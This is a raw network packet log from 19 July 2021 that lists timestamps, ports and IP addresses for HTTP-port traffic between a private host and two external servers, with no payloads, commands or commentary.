Jul 19, 2021 18:35:30.116349936 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116364956 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116380930 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116395950 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.116518974 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.116640091 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.210247993 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210289955 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210308075 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210326910 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210350037 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210366011 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210385084 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210407019 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.210686922 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.221688986 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.223530054 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.304694891 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.304907084 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.305630922 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.317079067 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.317121983 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.317648888 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.317666054 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.317678928 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.317796946 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.398075104 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.398089886 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.398097992 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.398109913 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.519869089 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.521650076 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.599858999 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.600347042 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.601326942 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.601531029 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.601787090 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.602034092 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.626693010 CEST	80	49754	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.626912117 CEST	49754	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.679613113 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.680197001 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.680345058 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.680458069 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.680620909 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.680716991 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.680923939 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681020021 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.681078911 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681097031 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681159973 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.681200981 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681263924 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.681343079 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681438923 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.681534052 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681617975 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.681893110 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.681982040 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.682109118 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.682178974 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.758409023 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.758426905 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.758452892 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.758465052 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.758609056 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.758652925 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.758965969 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.759068966 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.759090900 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.759226084 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.759716034 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.759731054 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.759788036 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.759809971 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.759859085 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.760091066 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.760132074 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.760162115 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.793102026 CEST	49756	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.801345110 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.801608086 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.837594986 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.837770939 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.838572979 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.838597059 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.838730097 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.838747025 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.839167118 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.839190960 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.839317083 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.883404970 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.883423090 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.887700081 CEST	80	49756	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.889962912 CEST	49756	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.893804073 CEST	49756	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.943850040 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.945993900 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.946026087 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.946047068 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.950937033 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:30.962059021 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:30.993691921 CEST	80	49756	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.010854959 CEST	80	49756	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.011142969 CEST	49756	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.015194893 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.016381979 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.056680918 CEST	80	49736	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.056853056 CEST	49736	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.057571888 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.057694912 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.058448076 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.099689960 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.106045961 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.106069088 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.106084108 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.106100082 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.106110096 CEST	80	49757	162.159.129.233	192.168.2.6
Jul 19, 2021 18:35:31.106201887 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.106268883 CEST	49757	80	192.168.2.6	162.159.129.233
Jul 19, 2021 18:35:31.157751083 CEST	49756	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.158075094 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.159305096 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.243743896 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.243875980 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.244405031 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.244580984 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.244879961 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.245126963 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.250607967 CEST	80	49756	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.250987053 CEST	49756	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.281413078 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.285864115 CEST	80	49755	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.285943031 CEST	49755	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.328680038 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.328727961 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.328752995 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.328788996 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.329474926 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.329580069 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.330234051 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.330291033 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.330369949 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.330449104 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.330631971 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.330713034 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.330806017 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.330863953 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.330866098 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.330923080 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.331192970 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.331271887 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.331617117 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.331681967 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.331819057 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.331881046 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.332274914 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.332348108 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.413387060 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.413413048 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.413475990 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.413614035 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.413832903 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.413897038 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.414100885 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.414170980 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.414416075 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.414499998 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.416181087 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.416323900 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.497116089 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.497144938 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.497209072 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.497260094 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.497541904 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.497772932 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.498087883 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.498245001 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.498625040 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.500204086 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.500322104 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.500442028 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.580929041 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.580965996 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.580991030 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.581013918 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.581037998 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.581062078 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.607106924 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.608197927 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.690505981 CEST	80	49758	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.690587997 CEST	49758	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.691546917 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.691656113 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.692233086 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.692473888 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.692645073 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.692682028 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.692804098 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.775815010 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776000023 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776055098 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776149988 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.776246071 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776406050 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.776567936 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776674032 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.776725054 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776789904 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.776868105 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.776928902 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.776997089 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.777045965 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.777123928 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.777198076 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.777235031 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.777323961 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.777338982 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.777470112 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.777555943 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.777627945 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.777690887 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.778014898 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.778078079 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.859930038 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.859946012 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.860014915 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.860054970 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.860205889 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.860268116 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.860333920 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.860420942 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.860615015 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.860640049 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.860714912 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.860743046 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.860908985 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.860985994 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.861109018 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.861166954 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.861188889 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.861216068 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.861231089 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.943718910 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.943825960 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.943964005 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944020987 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:31.944025040 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944212914 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944356918 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944453001 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944468975 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944483042 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944530010 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944662094 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944786072 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.944900036 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.945063114 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.945178032 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:31.945197105 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.028992891 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.029202938 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.029218912 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.029233932 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.029243946 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.059946060 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.061038017 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.143650055 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.143827915 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.144258976 CEST	80	49759	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.144340992 CEST	49759	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.144845009 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.145045996 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.145122051 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.145222902 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.227402925 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.227576017 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.228039026 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.228176117 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.228393078 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.228595018 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.228799105 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.228883028 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.228900909 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.228909969 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.228935957 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.229033947 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.229105949 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.229321003 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.229337931 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.229391098 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.229480982 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.229548931 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.229614019 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.229954958 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.230031013 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.230117083 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.230274916 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.310669899 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.310892105 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.310899019 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.310973883 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.311250925 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.311301947 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.311857939 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.311970949 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.312020063 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.312124014 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.312185049 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.312412024 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.312558889 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.312678099 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.357501030 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.359234095 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.415393114 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.415570021 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.441788912 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.441852093 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.497899055 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.497932911 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.497948885 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.497963905 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.498179913 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.646064043 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.647470951 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.729118109 CEST	80	49760	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.731365919 CEST	49760	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.741569996 CEST	80	49761	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:32.742763996 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.743069887 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.743371010 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.743452072 CEST	49761	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:32.743671894 CEST	49761	80	192.168.2.6	185.114.247.54
